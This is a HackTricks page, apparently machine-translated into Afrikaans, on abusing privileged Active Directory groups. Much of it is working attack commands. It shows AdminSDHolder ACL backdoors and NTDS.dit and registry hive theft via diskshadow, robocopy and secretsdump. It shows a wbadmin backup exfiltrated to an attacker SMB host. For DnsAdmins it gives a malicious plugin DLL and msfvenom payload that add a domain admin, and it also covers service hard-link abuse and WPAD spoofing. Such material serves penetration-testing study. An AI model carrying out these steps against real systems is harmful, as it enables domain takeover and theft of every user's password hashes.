Privileged Groups

Reading time: 12 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Goed bekende groepe met administratiewe voorregte

  • Administrators
  • Domain Admins
  • Enterprise Admins

Rekening Operateurs

Hierdie groep is gemagtig om rekeninge en groepe te skep wat nie administrateurs op die domein is nie. Boonop stel dit plaaslike aanmelding op die Domeinbeheerder (DC) in staat.

Om die lede van hierdie groep te identifiseer, word die volgende opdrag uitgevoer:

bash
Get-NetGroupMember -Identity "Account Operators" -Recurse

Adding new users is toegelaat, sowel as plaaslike aanmelding by DC01.

AdminSDHolder groep

Die AdminSDHolder groep se Toegangsbeheerlis (ACL) is van kardinale belang aangesien dit toestemmings vir alle "beskermde groepe" binne Active Directory stel, insluitend hoë-privilege groepe. Hierdie meganisme verseker die sekuriteit van hierdie groepe deur ongeoorloofde wysigings te voorkom.

'n Aanvaller kan hiervan gebruik maak deur die AdminSDHolder groep se ACL te wysig, wat volle toestemmings aan 'n standaard gebruiker toeken. Dit sou daardie gebruiker effektief volle beheer oor alle beskermde groepe gee. As hierdie gebruiker se toestemmings gewysig of verwyder word, sal dit binne 'n uur outomaties hersteld word weens die stelsel se ontwerp.

Opdragte om die lede te hersien en toestemmings te wysig sluit in:

bash
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

'n Skrip is beskikbaar om die herstelproses te versnel: Invoke-ADSDPropagation.ps1.

Vir meer besonderhede, besoek ired.team.

AD Herwinningsblik

Lidmaatskap in hierdie groep maak dit moontlik om geleesde aktiewe gidsobjekte te lees, wat sensitiewe inligting kan onthul:

bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Domeinbeheerder Toegang

Toegang tot lêers op die DC is beperk tensy die gebruiker deel is van die Server Operators groep, wat die vlak van toegang verander.

Privilege Escalation

Deur PsService of sc van Sysinternals te gebruik, kan 'n mens diensregte inspekteer en wysig. Die Server Operators groep het byvoorbeeld volle beheer oor sekere dienste, wat die uitvoering van arbitrêre opdragte en privilege escalasie moontlik maak:

cmd
C:\> .\PsService.exe security AppReadiness

Hierdie opdrag onthul dat Server Operators volle toegang het, wat die manipulasie van dienste vir verhoogde voorregte moontlik maak.

Backup Operators

Lidmaatskap in die Backup Operators groep bied toegang tot die DC01 lêerstelsel as gevolg van die SeBackup en SeRestore voorregte. Hierdie voorregte stel vouer deurloop, lysing, en lêer kopieer vermoëns in staat, selfs sonder eksplisiete toestemmings, met die gebruik van die FILE_FLAG_BACKUP_SEMANTICS vlag. Dit is nodig om spesifieke skrifte vir hierdie proses te gebruik.

Om groepslede te lys, voer uit:

bash
Get-NetGroupMember -Identity "Backup Operators" -Recurse

Plaaslike Aanval

Om hierdie voorregte plaaslik te benut, word die volgende stappe gebruik:

  1. Importeer nodige biblioteke:
bash
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Aktiveer en verifieer SeBackupPrivilege:
bash
Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Toegang tot en kopieer lêers vanaf beperkte gidse, byvoorbeeld:
bash
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

AD-aanval

Direkte toegang tot die Domeinbeheerder se lêerstelsel maak die diefstal van die NTDS.dit databasis moontlik, wat alle NTLM-hashes vir domein gebruikers en rekenaars bevat.

Gebruik diskshadow.exe

  1. Skep 'n skaduwee-kopie van die C skyf:
cmd
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Kopieer NTDS.dit van die skadu kopie:
cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternatiewelik, gebruik robocopy vir lêer kopieer:

cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Trek SYSTEM en SAM uit vir hash-herwinning:
cmd
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Verkry alle hashes van NTDS.dit:
shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Gebruik wbadmin.exe

  1. Stel NTFS-lêerstelsel op vir SMB-bediener op die aanvaller masjien en kas SMB-akkrediteer op die teiken masjien.
  2. Gebruik wbadmin.exe vir stelselsrugsteun en NTDS.dit ekstraksie:
cmd
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Vir 'n praktiese demonstrasie, sien DEMO VIDEO WITH IPPSEC.

DnsAdmins

Lede van die DnsAdmins groep kan hul voorregte benut om 'n arbitrêre DLL met SYSTEM voorregte op 'n DNS-bediener te laai, wat dikwels op Domein Beheerders gehos te word. Hierdie vermoë bied 'n beduidende uitbuitingspotensiaal.

Om lede van die DnsAdmins-groep te lys, gebruik:

bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Voer arbitrêre DLL uit

Lede kan die DNS-bediener laat laai 'n arbitrêre DLL (of plaaslik of vanaf 'n afstandsdeel) met behulp van opdragte soos:

bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
c
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
bash
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Herbegin van die DNS-diens (wat moontlik addisionele toestemmings vereis) is nodig vir die DLL om gelaai te word:

csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Vir meer besonderhede oor hierdie aanvalsvector, verwys na ired.team.

Mimilib.dll

Dit is ook haalbaar om mimilib.dll te gebruik vir opdraguitvoering, dit te wysig om spesifieke opdragte of omgekeerde shells uit te voer. Kyk na hierdie pos vir meer inligting.

WPAD Rekord vir MitM

DnsAdmins kan DNS-rekords manipuleer om Man-in-the-Middle (MitM) aanvalle uit te voer deur 'n WPAD-rekord te skep nadat die globale navraagbloklys gedeaktiveer is. Gereedskap soos Responder of Inveigh kan gebruik word om te spoof en netwerkverkeer te vang.

### Event Log Readers Lede kan toegang tot gebeurtenislogs verkry, wat moontlik sensitiewe inligting soos platte wagwoorde of besonderhede van opdraguitvoering kan bevat:

bash
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Exchange Windows Permissies

Hierdie groep kan DACLs op die domeinobjek wysig, wat moontlik DCSync-privileges toeken. Tegnieke vir privilege-eskalasie wat hierdie groep benut, word in die Exchange-AD-Privesc GitHub repo uiteengesit.

bash
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Hyper-V Administrators

Hyper-V Administrators het volle toegang tot Hyper-V, wat benut kan word om beheer oor virtualiseerde Domein Beheerders te verkry. Dit sluit die kloon van lewende DB's in en die onttrekking van NTLM hashes uit die NTDS.dit-lêer.

Exploitation Example

Firefox se Mozilla Maintenance Service kan deur Hyper-V Administrators benut word om opdragte as SYSTEM uit te voer. Dit behels die skep van 'n harde skakel na 'n beskermde SYSTEM-lêer en dit vervang met 'n kwaadwillige uitvoerbare lêer:

bash
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Let wel: Hard link uitbuiting is in onlangse Windows-opdaterings gemitigeer.

Organisasie Bestuur

In omgewings waar Microsoft Exchange ontplooi is, hou 'n spesiale groep bekend as Organisasie Bestuur beduidende vermoëns. Hierdie groep het die voorreg om toegang te verkry tot die posbusse van alle domein gebruikers en handhaaf volledige beheer oor die 'Microsoft Exchange Veiligheidsgroepe' Organisatoriese Eenheid (OU). Hierdie beheer sluit die Exchange Windows Permissions groep in, wat uitgebuit kan word vir voorregverhoging.

Voorreg Uitbuiting en Opdragte

Druk Operateurs

Lede van die Druk Operateurs groep is toegerus met verskeie voorregte, insluitend die SeLoadDriverPrivilege, wat hulle toelaat om lokaal aan te meld by 'n Domein Beheerder, dit af te sluit, en drukkers te bestuur. Om hierdie voorregte uit te buit, veral as SeLoadDriverPrivilege nie sigbaar is onder 'n nie-verhoogde konteks nie, is dit nodig om die Gebruikersrekeningbeheer (UAC) te omseil.

Om die lede van hierdie groep te lys, word die volgende PowerShell-opdrag gebruik:

bash
Get-NetGroupMember -Identity "Print Operators" -Recurse

Vir meer gedetailleerde uitbuitingstegnieke rakende SeLoadDriverPrivilege, moet 'n mens spesifieke sekuriteitsbronne raadpleeg.

Remote Desktop Users

Die lede van hierdie groep word toegang tot rekenaars via Remote Desktop Protocol (RDP) toegestaan. Om hierdie lede te tel, is PowerShell-opdragte beskikbaar:

bash
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Verder insigte in die ontginning van RDP kan gevind word in toegewyde pentesting hulpbronne.

Afgeleë Bestuur Gebruikers

Lede kan toegang tot rekenaars verkry oor Windows Remote Management (WinRM). Opname van hierdie lede word bereik deur:

bash
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Vir eksploitasiemetodes wat verband hou met WinRM, moet spesifieke dokumentasie geraadpleeg word.

Bediener Operateurs

Hierdie groep het regte om verskeie konfigurasies op Domein Beheerders uit te voer, insluitend rugsteun- en herstelregte, die verandering van stelseltijd, en die afsluiting van die stelsel. Om die lede te tel, is die opdrag wat verskaf word:

bash
Get-NetGroupMember -Identity "Server Operators" -Recurse

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks